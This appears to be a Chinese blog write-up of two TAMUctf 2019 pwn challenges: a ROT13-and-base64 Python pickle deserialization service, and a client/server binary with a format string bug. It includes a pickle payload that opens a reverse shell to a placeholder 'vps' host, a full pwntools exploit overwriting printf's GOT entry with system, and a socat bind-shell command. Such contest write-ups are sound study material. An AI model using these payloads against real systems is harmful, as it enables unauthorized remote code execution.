kir[A]'s 小黑屋

TAMUctf2019-pwn-writeup

字数统计: 2.1k阅读时长: 10 min
2019/05/31 Share

本文首发于先知论坛 https://xz.aliyun.com/t/4327

pwn1-5的题目不难,之前已经有师傅发过writeup了,现在我把剩余两题pwn的writeup补充一下。

VeggieTales

题目描述:

1
2
3
4
5
6
7
It's my favorite show to watch while practicing my python skills! I've seen episode 5 at least 13 times.

nc pwn.tamuctf.com 8448

Difficulty: easy-medium

2.23 1:58 pm CST: Added hint to description

题目没有给elf,根据题目描述,应该是一个python写的应用,nc过去看一下

1
2
3
4
5
Do you like VeggieTales??
1. Add an episode to your watched list
2. Print your watch list
3. Backup your watch list
4. Load your watch list

菜单功能:

  1. 添加看过的剧集,只能输入1-47
  2. 打印已看过的剧集
  3. 备份当前清单,会返回一串base64
  4. 输入备份得到的那串base64,可恢复已看剧集清单

简单fuzz了一下,没发现什么漏洞,后来题目给出了提示I've seen episode 5 at least 13 times.,看一下第5部ep是5. Dave and the Giant Pickle,马上联想到是python pickle反序列化!

首先添加一部剧集,拿到一串base64进行分析,尝试直接使用pickle反序列化出现报错

1
2
3
4
Traceback (most recent call last):
File "X:\tmp\pwn7.py", line 69, in <module>
print(pickle.loads(base64.b64decode(s)))
_pickle.UnpicklingError: invalid load key, '\xb4'.

对比了一下正常的序列化字符串,发现要先经过ROT13后再base64decode,修改一下代码再次测试。

1
2
3
4
import base64, string, pickle, codecs
s = "tNAqpDOLUDNNNQHhVPORLKMyVTShMPO0nTHtE2yuoaDtHTywn2kypDSuYt=="
print(pickle.loads(base64.b64decode(codecs.encode(s,"rot-13"))))
# ['5. Dave and the Giant Pickle']

根据以上分析,我们直接写一个反弹shell的payload,然后在Load your watch list那里进行反序列化

1
2
3
4
5
6
7
8
9
10
11
import base64, string, pickle, codecs, platform
class Exploit(object):
def __reduce__(self):
return (platform.popen,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"vps\",20004));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))

def serialize_exploit():
shellcode = pickle.dumps(Exploit())
return shellcode

exp = codecs.encode(str(base64.b64encode(serialize_exploit())),"rot-13")
print(exp)

本地监听端口,另一边输入生成的exp,成功反弹回来(你需要一个有公网ip的vps)

pwn6

题目描述:

1
2
3
4
5
6
7
Setup the VPN and use the client to connect to the server.

The servers ip address on the vpn is 172.30.0.2

Difficulty: hard

2/23 10:06 am: Added server ip

题目给了一个openvpn的配置文件,以及client和server的二进制文件。

程序保护情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[*] '/tmp/client'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

[*] '/tmp/server'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

openvpn安装使用方法:

1
2
3
sudo apt-get install -y openvpn
cp pwn6.ovpn /etc/openvpn/
sudo openvpn pwn6.ovpn

尝试运行一下client,程序提供两个选项,选项0没什么用,选项1进行登陆,由于没账号密码,输入后提示账号无效,还是直接看二进制文件分析吧。

1
2
3
	 0. View Recent Login's With client
1. Login
Enter command to send to server...

由于flag存在server端,我们最终的目标还是要pwn掉server,因此先对server进行分析。server程序功能非常多,里面有不少sql操作,一度往数据库注入方向想,后来一想这是pwn题,不要走歪了。之后在server中发现一个叫process_message函数,看程序逻辑,应该就是处理client发送信息的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
signed __int64 __fastcall process_message(struct server *a1, unsigned int *a2)
{
unsigned int v2; // ST14_4
signed __int64 result; // rax
__int64 v4; // ST00_8
__int64 v5; // [rsp+18h] [rbp-8h]

v5 = *((_QWORD *)a2 + 1); // send_data
if ( *(_QWORD *)&a2[2 * (*(unsigned int *)(v5 + 4) + 4LL) + 2] )
{
v2 = (*(__int64 (__fastcall **)(struct server *, unsigned int *))&a2[2 * (*(unsigned int *)(v5 + 4) + 4LL) + 2])(
a1,
a2);
printf("Result of action was %i\n", v2, a2);
result = v2;
}
else
{
printf("Unauthorized Command for Client %i\n", *a2, a2);
printf((const char *)(*(_QWORD *)(v4 + 8) + 8LL)); // fmt
result = 0xFFFFFFFFLL;
}
return result;

这里有一个很明显的格式化字符串漏洞,不过要运行到漏洞分支,需要绕过if的判断,目前还不清楚client发包的结构,因此转到分析client的程序,从client入手分析发包过程。定位到client登陆操作用到的函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
signed __int64 __fastcall send_login(int *a1)
{
unsigned __int8 user_len; // ST1F_1
unsigned __int8 pwd_len; // ST1E_1
char passwd[256]; // [rsp+20h] [rbp-310h]
char user[520]; // [rsp+120h] [rbp-210h]
_BYTE *send_data; // [rsp+328h] [rbp-8h]

puts("Input Username for login:");
prompt_string(user, 256);
puts("Input Password for login:");
prompt_string(passwd, 256);
send_data = malloc(0x202uLL);
user_len = strlen(user) - 1;
pwd_len = strlen(passwd) - 1;
user[user_len] = 0;
passwd[pwd_len] = 0;
*send_data = user_len;
send_data[1] = pwd_len;
memcpy(send_data + 2, user, user_len);
memcpy(&send_data[user_len + 2], passwd, pwd_len);
send_msg(a1, 0, send_data, user_len + pwd_len + 2);
puts("Message sent to server.");
read(*a1, a1 + 2, 4uLL);
sleep(2u);
if ( a1[2] < 0 )
return 0xFFFFFFFELL;
a1[1] = 1;
return 1LL;
}

void __fastcall send_msg(int *a1, int a2, void *a3, unsigned int a4)
{
const void *src; // ST08_8
unsigned int n; // ST10_4
int v6; // [rsp+2Ch] [rbp-24h]
void *ptr; // [rsp+38h] [rbp-18h]
_DWORD *buf; // [rsp+40h] [rbp-10h]
signed int v9; // [rsp+4Ch] [rbp-4h]

src = a3;
n = a4;
v9 = a4 + 8;
buf = malloc(a4 + 8LL);
ptr = buf;
*buf = n;
buf[1] = a2;
memcpy(buf + 2, src, n);
while ( v9 > 0 )
{
v6 = write(*a1, buf, v9);
if ( v6 < 0 )
{
perror("Send");
exit(-1);
}
buf = (_DWORD *)((char *)buf + v6);
v9 -= v6;
}
free(ptr);
}

程序读取用户名和密码后,计算用户名和密码的长度,然后申请了一块内存储存用户名和密码,以及对应的长度,再通过send_msg进行发送到server。写个简单的代码,在send_msg处下个断点,动态调试一下,可以看到client发送的数据包结构:

1
2
3
4
5
from pwn import *
p = process(['./client', '127.0.0.1'])
p.sendlineafter('server...\n','1')
p.sendlineafter('login:\n','1111')
p.sendlineafter('login:\n','2222')

根据gdb调试的结果,可以推断出client的数据包结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct login_data
{
int user_len;
int pwd_len;
char user;
char passwd;
};

struct send_data
{
int32 data_len;
int32 action;
char login_data;
}

client发包后,同理在server端process_message处下个断点,看看server端是如何处理数据包的。

1
2
3
4
5
6
7
8
9
10
 ► 0x4052b9 <handle_connections+1392>    call   process_message <0x404c99>
rdi: 0x7fffffffe040 ◂— 0x4
rsi: 0x6d8590 ◂— 0x7

pwndbg> x/4gx 0x6d8590
0x6d8590: 0x0000000000000007 0x00000000006d6480
0x6d85a0: 0x0000000000000000 0x0000001200000000
pwndbg> x/4gx 0x00000000006d6480
0x6d6480: 0x000000000000000a 0x3232313131310404
0x6d6490: 0x0000000000003232 0x0000000000000031

可见process_messagev5 = *((_QWORD *)a2 + 1)就是client发的数据包。现在需要分析一下if ( *(_QWORD *)&a2[2 * (*(unsigned int *)(v5 + 4) + 4LL) + 2] )是干什么的?直接看一下汇编,不难发现rdx的值为send_data->action的值,也就是send_msg的第二个参数。

1
2
3
4
5
6
7
8
9
10
11
12
.text:0000000000404CA9 ; 7:   v5 = *((_QWORD *)a2 + 1);                     // send_data
.text:0000000000404CA9 mov rax, [rbp+var_20]
.text:0000000000404CAD mov rax, [rax+8]
.text:0000000000404CB1 mov [rbp+var_8], rax
.text:0000000000404CB5 ; 8: if ( *(_QWORD *)&a2[2 * (*(unsigned int *)(v5 + 4) + 4LL) + 2] )
.text:0000000000404CB5 mov rax, [rbp+var_8]
.text:0000000000404CB9 mov edx, [rax+4] ;; send_data->action
.text:0000000000404CBC mov rax, [rbp+var_20]
.text:0000000000404CC0 mov edx, edx
.text:0000000000404CC2 add rdx, 4
.text:0000000000404CC6 mov rax, [rax+rdx*8+8]
.text:0000000000404CCB test rax, rax

同时检查一下a2中存放了什么数据,根据调试的结果,可以推测send_msg的第二个参数用于选择对应的功能模块,而action=0就是login的操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> x/32gx 0x6d8590
0x6d8590: 0x0000000000000007 0x00000000006d6480
0x6d85a0: 0x0000000000000000 0x0000001200000000
0x6d85b0: 0x0000000000000012 0x0000000000405445
0x6d85c0: 0x0000000000000000 0x0000000000405c96
0x6d85d0: 0x0000000000000000 0x0000000000000000
0x6d85e0: 0x0000000000000000 0x0000000000000000
0x6d85f0: 0x0000000000000000 0x0000000000000000
0x6d8600: 0x0000000000000000 0x0000000000000000
0x6d8610: 0x0000000000000000 0x0000000000000000
pwndbg> x 0x0000000000405445
0x405445 <login>: 0x70ec8348e5894855
pwndbg> x 0x0000000000405c96
0x405c96 <create_account>: 0x40ec8348e5894855

那么只要我们根据client登录数据包的结构,构造一个数据包,控制send_dataaction参数,让[rax+rdx*8+8]落在空白处,程序就会判断不存在该功能,并进入else分支,到格式化字符串漏洞的地方。现在,可以不用管client了,直接构造一个action大于2的数据包进行调试,代码修改如下:

1
2
3
4
5
6
7
from pwn import *
p = remote('127.0.0.1', 6210)
def send_payload(action, payload):
p.send(p32(len(payload)) + p32(action) + payload)

send_payload(3,'aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p')
p.interactive()

发现输入的数据包存在栈中,那么利用就很简单了。接着就是常规的格式化字符串漏洞利用套路,修改printf@got.pltsystem@plt

尝试了各种的反弹shell姿势都无效,用curl和wget回传flag也没反应,最后用socat开了一个正向shell,成功连上~

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'DEBUG'
elf = ELF('./server')
p = remote('172.30.0.2', 6210)

def send_payload(action, payload):
p.send(p32(len(payload)) + p32(action) + payload)

payload = ''
byte = []
offset = 15
for x in range(6):
a = elf.got['printf'] + x
b = elf.plt['system'] >> 8 * x & 0xff
byte.append((b,a))
byte.sort(key=lambda x:x[0],reverse=False)
count = 0
n = 0
for y in byte:
tmp = y[0]-count
if tmp < 0: tmp += 256
if tmp == 0:
payload += '%{}$hhn'.format(offset+9+n)
else:
payload += '%{}c%{}$hhn'.format(tmp,offset+9+n)
count += tmp
n += 1
payload = payload.ljust(72,'a')
for z in byte:
payload += p64(z[1])

send_payload(3,payload)
send_payload(3,'socat TCP-LISTEN:23333,reuseaddr,fork EXEC:"/bin/sh"\x00')
p.close()

总结

VeggieTales是一个常规的pickle反序列化,以往CTF一般是放在web题中。pwn6的server/client题型很新颖,虽然漏洞利用不难,不过调试过程还是踩了不少坑,题目质量不错,值得学习一下。

CATALOG
  1. 1. VeggieTales
  2. 2. pwn6
  3. 3. 总结